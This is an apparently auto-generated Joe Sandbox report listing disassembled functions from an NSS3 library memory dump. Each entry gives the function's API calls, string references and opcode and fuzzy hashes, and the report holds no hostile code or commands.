Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Value$Alloc_CriticalEnterSectionUnlockUtilmalloc
String ID: Ozzl
API String ID: 2963671366-713148158
Opcode ID: c199438605f14a5c965bda51017b06d0b1e83776b1f61287a118be5a7d0b33eb
Instruction ID: 9ed6a65fbc46efd36f9726997d610f47fefa83753a29136c17944bfdf390d8e3
Opcode Fuzzy Hash: c199438605f14a5c965bda51017b06d0b1e83776b1f61287a118be5a7d0b33eb
Instruction Fuzzy Hash: 6221A1B0A00206AFDB109F69DE4956ABBB4FF1531DF004535D848E7B11E731E564CBD1

Function 6C750DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C750BDE), ref: 6C750DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C750BDE), ref: 6C750DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C750BDE), ref: 6C750DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C750BDE), ref: 6C750E32

Strings

%s incr => %d (find lib), xrefs: 6C750E2D

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: cb8359149640fa81fe8f39b67dc110204e2c236b3bc8e25884576eab85cc5f41
Instruction ID: 3bbe7f5d25b6984d0034a3add0c964c8f3b211fb5fbf8ce15003befbc6717879
Opcode Fuzzy Hash: cb8359149640fa81fe8f39b67dc110204e2c236b3bc8e25884576eab85cc5f41
Instruction Fuzzy Hash: 4A01F1727002149FE6309F288D49E1773ACDB45A0CB54487EE909D3A42EB62EC24C7E1

Function 6C7B4760 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,6C7A7A47,?), ref: 6C7B477E

Part of subcall function 6C7B4470: TlsGetValue.KERNEL32(00000000,?,6C777296,00000000), ref: 6C7B4487
Part of subcall function 6C7B4470: EnterCriticalSection.KERNEL32(?,?,?,6C777296,00000000), ref: 6C7B44A0
Part of subcall function 6C7B4470: PR_Unlock.NSS3(?,?,?,?,6C777296,00000000), ref: 6C7B44BB

TlsGetValue.KERNEL32(00000000,?,6C7A7A47,?), ref: 6C7B478E
EnterCriticalSection.KERNEL32(?,?,?,6C7A7A47,?), ref: 6C7B47A3
PR_Unlock.NSS3(?,?,?,?,6C7A7A47,?), ref: 6C7B47B8

Strings

Gzzl, xrefs: 6C7B4769

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$DestroyModule
String ID: Gzzl
API String ID: 342238404-4013288977
Opcode ID: 86d290e079b655a40adacf351a986bbcdf19120a96397d293fbb32f03af1331b
Instruction ID: 6147c3ab0fc8b4411241d358c5d8d667c55764dee68fd7e1e81dbbf236d2f65d
Opcode Fuzzy Hash: 86d290e079b655a40adacf351a986bbcdf19120a96397d293fbb32f03af1331b
Instruction Fuzzy Hash: 4A017CB0A047019BDB10AF39C54846ABBF4BF06258F044969D88497A01E734E464CBD2

Function 6C7AC590 Relevance: 7.7, APIs: 5, Instructions: 155COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6C7AC5C7
PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6C7AC603
PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6C7AC636
PK11_FreeSymKey.NSS3(?), ref: 6C7AC6D7
PK11_FreeSymKey.NSS3(?), ref: 6C7AC6E1

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: K11_$DoesMechanism$Free
String ID:
API String ID: 3860933388-0
Opcode ID: c7856a49aec0152549bd1570bae1fa7ccac902a6bc3e130b8db34e73dda33ea5
Instruction ID: 1cd4b7d6033de5e240da29731a1dd881626b591c9daad0bf1be7e9f67b04eb74
Opcode Fuzzy Hash: c7856a49aec0152549bd1570bae1fa7ccac902a6bc3e130b8db34e73dda33ea5
Instruction Fuzzy Hash: 994184B560120AAFDB01DFA9CE859AB77A9EF083497040134FD14D7720E732E816CBE1

Function 6C706D2E Relevance: 7.6, APIs: 5, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 6C6F3C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F3C66
Part of subcall function 6C6F3C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C6F3D04

memcpy.VCRUNTIME140(?,?,?), ref: 6C706DC0
memcpy.VCRUNTIME140(?,?,?), ref: 6C706DE5

Part of subcall function 6C708010: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C70807D
Part of subcall function 6C708010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7080D1
Part of subcall function 6C708010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C70810E
Part of subcall function 6C708010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C708140

memcpy.VCRUNTIME140(00000004,00000004,00000000), ref: 6C706E7E
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C706E96
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C706EC2

Part of subcall function 6C707D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C707E27
Part of subcall function 6C707D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C707E67

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: _byteswap_ulong$memcpy$_byteswap_ushort
String ID:
API String ID: 3070372028-0
Opcode ID: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction ID: 1cd6e901787770d30b524787dbd1575576184384e7018decfc511b6f542c6120
Opcode Fuzzy Hash: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction Fuzzy Hash: 2651A1B1A083519FC724CF25C550BAABBE5FF88318F04896DE89987741E330E959CB92

Function 6C7C4690 Relevance: 7.6, APIs: 5, Instructions: 116memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(00000001,00000000,00000000,6C8B0148,?,6C7773A4,?,00000027,00000022), ref: 6C7C46D9
PORT_ZAlloc_Util.NSS3(00000001,00000022), ref: 6C7C473E
free.MOZGLUE(00000000,?,00000022), ref: 6C7C476C
free.MOZGLUE(00000000,?,00000022), ref: 6C7C477A
PORT_Strdup_Util.NSS3(6C8B0148,00000000,00000000,6C8B0148,?,6C7773A4,?,00000027,00000022), ref: 6C7C4788

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Alloc_free$Strdup_
String ID:
API String ID: 1542459429-0
Opcode ID: de5ac448581013fb8d3d047c5fbf22bd6e26452a958bcfdab36ffba6424dc8ec
Instruction ID: b2bbf36fb6b04b2ab8fda84a1749e737ecbd9d4a97b8dd81c67508de5e2940ef
Opcode Fuzzy Hash: de5ac448581013fb8d3d047c5fbf22bd6e26452a958bcfdab36ffba6424dc8ec
Instruction Fuzzy Hash: DD31266A7096C74EE70209395EA53F72FAA4B4735DB1C0078DCDACBB12D613842D9793

Function 6C7F2460 Relevance: 7.6, APIs: 5, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,6C897379,00000002,?), ref: 6C7F2493
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C7F24B4
PR_SetError.NSS3(FFFFE005,00000000,?,?,?,?,?,6C897379,00000002,?), ref: 6C7F24EA
PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,6C897379,00000002,?), ref: 6C7F24F5
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,6C897379,00000002,?), ref: 6C7F24FE

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Error$Alloc_FreeK11_Utilfree
String ID:
API String ID: 2595244113-0
Opcode ID: 5b9a9af12f1f9c205823f33c594a03c05ffa4bc1f0692975c6f1d28465528f44
Instruction ID: 91c2daa34b9f7556e120e1045375314f8fb14b8f955257fcdc69ad54aca7f846
Opcode Fuzzy Hash: 5b9a9af12f1f9c205823f33c594a03c05ffa4bc1f0692975c6f1d28465528f44
Instruction Fuzzy Hash: F331C1B1A00156ABEB108FA4DD89BBB77A4EF48308F104135FD6596780E774DC56C7E2

Function 6C7F8530 Relevance: 7.6, APIs: 5, Instructions: 103COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6C7F8549
TlsGetValue.KERNEL32 ref: 6C7F85CF
TlsGetValue.KERNEL32 ref: 6C7F85FE
TlsGetValue.KERNEL32 ref: 6C7F8629
memcpy.VCRUNTIME140 ref: 6C7F8655

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Value$IdentitiesLayermemcpy
String ID:
API String ID: 2311246771-0
Opcode ID: a7c703007f0da30260b185d868f955f6cda0e0139195da34da138a169a93fce6
Instruction ID: 484a99a6364eb3f4a6bd991f446e6b7ccb113b7eae4974e1ec51d0baa4cefc8f
Opcode Fuzzy Hash: a7c703007f0da30260b185d868f955f6cda0e0139195da34da138a169a93fce6
Instruction Fuzzy Hash: C3418370605601CFEB119F7AC68866DB7B4BF5630CF11863AD8A847B52DB30D496CB92

Function 6C75EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C75EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C75EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C75EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C75EEEB
free.MOZGLUE(?), ref: 6C75EEF6

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 4ee5369b3380809503d5b4870565531f31637e407405291ee87b6de29a284b3e
Instruction ID: 4ed7e5bdc393c89e40d9413967a6bfddb40ce4fb7aaa8d057e8c2639ac97fff5
Opcode Fuzzy Hash: 4ee5369b3380809503d5b4870565531f31637e407405291ee87b6de29a284b3e
Instruction Fuzzy Hash: 3231F7B17002049BF7209F28CD447667BB8FB46308F540539E85A87A51EF39E964C7E1

Function 6C87A530 Relevance: 7.6, APIs: 5, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C87A55C
PR_IntervalNow.NSS3 ref: 6C87A573
PR_IntervalNow.NSS3 ref: 6C87A5A5
_PR_MD_UNLOCK.NSS3(?), ref: 6C87A603

Part of subcall function 6C829890: TlsGetValue.KERNEL32(?,?,?,6C8297EB), ref: 6C82989E

_PR_MD_UNLOCK.NSS3(?), ref: 6C87A636

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Interval$CriticalEnterSectionValue
String ID:
API String ID: 959321092-0
Opcode ID: eb36a4aa5ee6c23f8e961a30b09c537fe09a345ded22fe6694cff50fdee5905b
Instruction ID: 1a6da936228303cddac1b28f0d05e83656644c02258e381c8bbc4946435e4b58
Opcode Fuzzy Hash: eb36a4aa5ee6c23f8e961a30b09c537fe09a345ded22fe6694cff50fdee5905b
Instruction Fuzzy Hash: F0315BB16006058FDB20DF69CA84A9EBBA5FF44319B158A75D8148BB16E734EC84CFE0

Function 6C7886D0 Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C788716
TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C788727
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C78873B
PR_Unlock.NSS3(?), ref: 6C78876F
PR_SetError.NSS3(00000000,00000000), ref: 6C788787

Part of subcall function 6C7879F0: memcpy.VCRUNTIME140(?,6C88AB28,000000FC), ref: 6C787A1E
Part of subcall function 6C7879F0: PR_SetError.NSS3(FFFFE001,00000000), ref: 6C787A48

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Error$AuthenticateCriticalEnterK11_SectionUnlockValuememcpy
String ID:
API String ID: 3710639568-0
Opcode ID: 7028a62e7f7a32dc3f60f29b282dd4048c166c959a04210b79bfe04f71cefa81
Instruction ID: c835fb9299b91f7f50a9d3faab421d79bfff7771afe6b5aba2e2c88d0f319c2c
Opcode Fuzzy Hash: 7028a62e7f7a32dc3f60f29b282dd4048c166c959a04210b79bfe04f71cefa81
Instruction Fuzzy Hash: 34315A35A012006FDF109F78DD44E9A7B79EF44318F144035EE099BB42EB31E904C7A1

Function 6C7644D0 Relevance: 7.6, APIs: 5, Instructions: 90COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3 ref: 6C7644FF

Part of subcall function 6C7C07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C768298,?,?,?,6C75FCE5,?), ref: 6C7C07BF
Part of subcall function 6C7C07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7C07E6
Part of subcall function 6C7C07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C081B
Part of subcall function 6C7C07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C0825

SECOID_FindOID_Util.NSS3(?), ref: 6C764524
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C764537
CERT_AddExtensionByOID.NSS3(00000001,?,?,?,00000001), ref: 6C764579

Part of subcall function 6C7641B0: PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C7641BE
Part of subcall function 6C7641B0: PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C7641E9
Part of subcall function 6C7641B0: SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6C764227
Part of subcall function 6C7641B0: SECITEM_CopyItem_Util.NSS3(?,-00000018,?), ref: 6C76423D

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C76459C

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Error$Alloc_ArenaCopyFindHashItem_LookupTable$ConstEqual_ExtensionItems
String ID:
API String ID: 3193526912-0
Opcode ID: ebf86faa50ffcf2ec35f4368ae81f486fcdccb540a5d46777f353d11653d57bb
Instruction ID: f8135785893e0b34878d841047f7a2d96a709dcdf7532f624f08f0bbfbcddb49
Opcode Fuzzy Hash: ebf86faa50ffcf2ec35f4368ae81f486fcdccb540a5d46777f353d11653d57bb
Instruction Fuzzy Hash: 1621D3717012109FEB10DE2B9E68B6B37A89F41758F240438BC15DBF53EB21E904E6A1

Function 6C76A6B0 Relevance: 7.6, APIs: 5, Instructions: 90timeCOMMON

Download Yara Rule

APIs

CERT_CheckCertValidTimes.NSS3(00000000,00000000,6C76A2FA,00000000,6C76A2FA,00000000), ref: 6C76A6E4

Part of subcall function 6C761DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C761E0B
Part of subcall function 6C761DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C761E24

TlsGetValue.KERNEL32(?,?,?,?,6C76A2FA,00000000), ref: 6C76A723
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C76A2FA,00000000), ref: 6C76A733
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C76A2FA,00000000), ref: 6C76A74C
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,6C76A2FA,00000000), ref: 6C76A774

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Choice_DecodeTime$Arena_CertCheckCriticalEnterFreeSectionTimesUnlockValidValue
String ID:
API String ID: 2353111112-0
Opcode ID: 7cea36158bb12ba57449d46227538f3975d1bdf487f705e3064838ef47893207
Instruction ID: 908fc6ae425ea8b084e547231cf022a5ddc118e6db42422c48a1c59544fa39cc
Opcode Fuzzy Hash: 7cea36158bb12ba57449d46227538f3975d1bdf487f705e3064838ef47893207
Instruction Fuzzy Hash: CC212775A006109BEB109F3A8E48B67B7B8EF4936CF144439EC2887F41EB30E544C6E1

Function 6C76E5E0 Relevance: 7.6, APIs: 5, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,00000000,00000000,?,6C76E755,00000000,00000004,?,?), ref: 6C76E5F5

Part of subcall function 6C7C14C0: TlsGetValue.KERNEL32 ref: 6C7C14E0
Part of subcall function 6C7C14C0: EnterCriticalSection.KERNEL32 ref: 6C7C14F5
Part of subcall function 6C7C14C0: PR_Unlock.NSS3 ref: 6C7C150D

PR_SetError.NSS3(FFFFE005,00000000,?), ref: 6C76E62C
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000,?), ref: 6C76E63E

Part of subcall function 6C7BF9A0: PORT_ArenaMark_Util.NSS3(?,00000000,-00000002,?,-00000002,?,6C75F379,?,00000000,-00000002), ref: 6C7BF9B7

PK11_HashBuf.NSS3(?,?,?,?,?,?,?,?), ref: 6C76E65C

Part of subcall function 6C78DDD0: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C78DDEC
Part of subcall function 6C78DDD0: PK11_DigestBegin.NSS3(00000000), ref: 6C78DE70
Part of subcall function 6C78DDD0: PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C78DE83
Part of subcall function 6C78DDD0: HASH_ResultLenByOidTag.NSS3(?), ref: 6C78DE95
Part of subcall function 6C78DDD0: PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C78DEAE
Part of subcall function 6C78DDD0: PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C78DEBB

SECITEM_ZfreeItem_Util.NSS3(00000000,00000000,?), ref: 6C76E68E

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: K11_Util$Digest$ArenaItem_Mark_$AllocBeginContextCriticalDestroyEnterErrorFinalFindHashResultSectionTag_UnlockValueZfree
String ID:
API String ID: 2865137721-0
